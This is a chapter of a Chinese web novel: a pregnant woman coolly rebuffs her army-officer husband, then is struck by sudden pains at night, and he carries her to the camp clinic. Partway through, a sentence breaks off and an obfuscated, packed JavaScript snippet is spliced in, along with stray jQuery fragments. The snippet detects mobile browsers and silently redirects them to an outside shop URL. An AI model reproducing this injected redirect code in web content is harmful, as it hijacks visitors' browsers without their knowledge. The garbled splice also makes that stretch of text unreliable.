晚饭是高粱米饭和一盘炒咸菜。

    高粱米饭有些拉嗓子。

    苏韵窈吃得极慢。她托着肚子,只吃了半碗就放下了筷子。

    秦司衡把剩下的饭菜扫干净,起身去灶间洗碗。

    抹布在搪瓷盆里拧干,发出哗哗的水声。

    他擦干净手,回到屋里。

    苏韵窈已经拉亮了头顶的白炽灯。

    灯光照在木桌上。桌上铺着几张白纸,上面用蓝黑墨水写满了名字和数字。

    她正拿着钢笔,在一张纸上画着枕套的草图。

    秦司衡走过去,在桌子对面坐下。

    “这批枕套的订单,联社要得急吗?”他问。

    “下个月底交货,时间够。”苏韵窈头也没抬,笔尖在纸上沙沙作响。

    秦司衡看着她手指上的茧子。

    他放在膝盖上的手攥了攥。

    “我帮你算账吧。”秦司衡说,“订单的数额,还有原材料的消耗,我来帮你整理。”

    苏韵窈写字的动作顿了一下。

    她抬起头,看着秦司衡。

    她的眼里没有愤怒,也没有怨气,只有一种平静的客气。

    “不用了,秦营长。这账目我自己能理清,不劳烦你。”

    秦司衡的身体僵住。

    秦营长这三个字,把他们隔在了两边。

    “韵窈,我们是夫妻。”秦司衡的声音低沉。

    苏韵窈把钢笔套戴上,发出一声轻微的脆响。

    “我知道。”她说,“所以我没有搬出去。但合作社的事是我自己的工作,我自己能做好。”

    她说话的语气很温和,甚至带着一点笑意,但秦司衡却觉得身上有些冷。

    他看着眼前的女人。

    她穿着蓝色的确良罩衫,肚子已经隆起得很明显。她的脸色有些苍白,但眼神却比任何时候都要坚定。

    她已经不需要他了。

    她有了自己的事业,有了能养活自己的手艺,还有了家属院军嫂们的拥护。

    他原本以为,只要他努力弥补,两人的关系总会缓和。

    可现在他发现,她根本不在意他的弥补。

    她不是在生气,她是把心收回去了。

    她看着账本。秦司衡的想法,她不在乎。她现在只想守着这个孩子,守着这个合作社。有没有男人,不重要了。

    秦司衡站起来,在原地站了片刻,转身走向炕的另一头。

    他躺下,闭上眼睛,黑暗中只有苏韵窈那边传来的微弱灯光和翻动纸张的声音。

    夜深了。

    窗外的风刮得呼呼作响,吹得塑料窗纱啪啪作响。

    苏韵窈坐在桌前,揉了揉酸胀的腰。

    她看着账本上的数字,打算把最后几笔对完就睡觉。

    突然,小腹传来一阵异样的紧缩。

    苏韵窈的手按在肚子上,眉头皱起。

    几秒钟后,肚子里传来尖锐的疼痛,一阵阵绞着。

    “唔……”

    苏韵窈闷哼一声,身体瞬间弓了下去。

    她手里的钢笔掉在桌上,在白纸上划出一条长长的墨迹。

    冷汗瞬间从她的额头渗了出来,顺着脸颊往下淌。

    肚子的疼痛越来越剧烈,伴随着一阵阵往下坠的力量。

    她死死咬着下唇,指甲在木桌的边缘刮擦,发出刺耳的声音。

    “秦……”

    她想喊人,但剧痛让她的喉咙发不出声音。

    她的身体顺着椅子往下滑,整个人蜷缩在地上,双手紧紧护着肚子。

    苏韵窈的手指死死抠着桌角,指甲在粗糙的木料上划出白印。

    腹部的疼痛像是有个铁块在往下坠,扯得她腰腹一阵阵发紧。她咬紧牙关,舌尖抵着上腭,冷汗顺着眼角往下滑落,视线变得有些模糊。

    她撑着桌沿,试图把身体站直。

    门轴发出一声刺耳的吱呀声。

    秦司衡推开门走了进来。他手里端着一个搪瓷脸盆,盆里盛着刚从水房打来的凉水,水面上漂着一块用得只剩下一小块的满天星牌胰子。

    看到蜷缩在桌边的苏韵窈,秦司衡手一松。

    搪瓷盆砸在地上,发出哐当一声巨响。冷水泼了一地,肥皂在水洼里滚了几圈,撞在门框上。

    秦司衡几步跨上前,单膝跪在湿漉漉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860272|211973||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的地上,伸手扶住苏韵窈的肩膀。

    “韵窈!”

    他的手掌触碰到她的肩膀,隔着薄薄的的确良罩衫,能感觉到她身体在剧烈地发抖。

    苏韵窈的脸贴在膝盖上,指着自己的肚子,嘴唇颤动,却没发出声音。

    秦司衡没有多问。他转过身,把宽阔的后背贴向她,双手伸到后面拉住她的胳膊。

    “上来。”

    苏韵窈本能地想用手去推他的肩膀。她的掌心抵在秦司衡坚硬的肩胛骨上,但腹部又是一阵剧烈的绞痛,抽干了她全身的力气。

    她的手掌顺着他的肩膀滑了下去,最后只能无力地搭在他的脖颈上。

    孩子不能出事。

    她闭上眼睛,把身体的重量交了出去。

    秦司衡双手托住她的腿弯,腰部用力,猛地站起身。他没有穿外套,身上只穿着一件绿色的跨栏背心,肩膀和手臂上的肌肉因为用力而高高鼓起。

    他一脚踹开木门,冲进了夜色里。

    深夜的家属院一片漆黑。风刮得很大,路边的杨树叶子哗哗作响。

    秦司衡踩在碎石子路上,皮鞋发出急促而沉重的撞击声。

    苏韵窈趴在他的背上。她的侧脸贴着他温热的脖颈,能清晰地听到他颈侧血管狂乱的跳动声,以及他胸腔里拉风箱般的粗重喘息。

    “站住!干什么的?”

    前方突然亮起两道强光。

    两名戴着钢盔、斜挎着五六式**的哨兵从大路拐角走出来,手电筒的光束直直地打在秦司衡脸上。

    “让开!去卫生所!”秦司衡没有减速,扯着嗓子吼了一声。他的声音在空旷的营区里传开,带着明显的颤音。

    哨兵看清了来人,立刻收起手电筒,把**往身后一背。

    “秦营长!”其中一个哨兵反应极快,转身就往卫生所的方向狂奔,“我去叫医生开门!”

    另一个哨兵则小跑着跟在秦司衡身边,用手电筒照着脚下凹凸不平的土路。

    卫生所是一排红砖平房,门前挂着一盏防雨罩灯泡,散发着昏黄的光。

    跑在前面的哨兵已经把木门拍得震天响。

    “李医生!快开门!秦营长家属动了胎气!”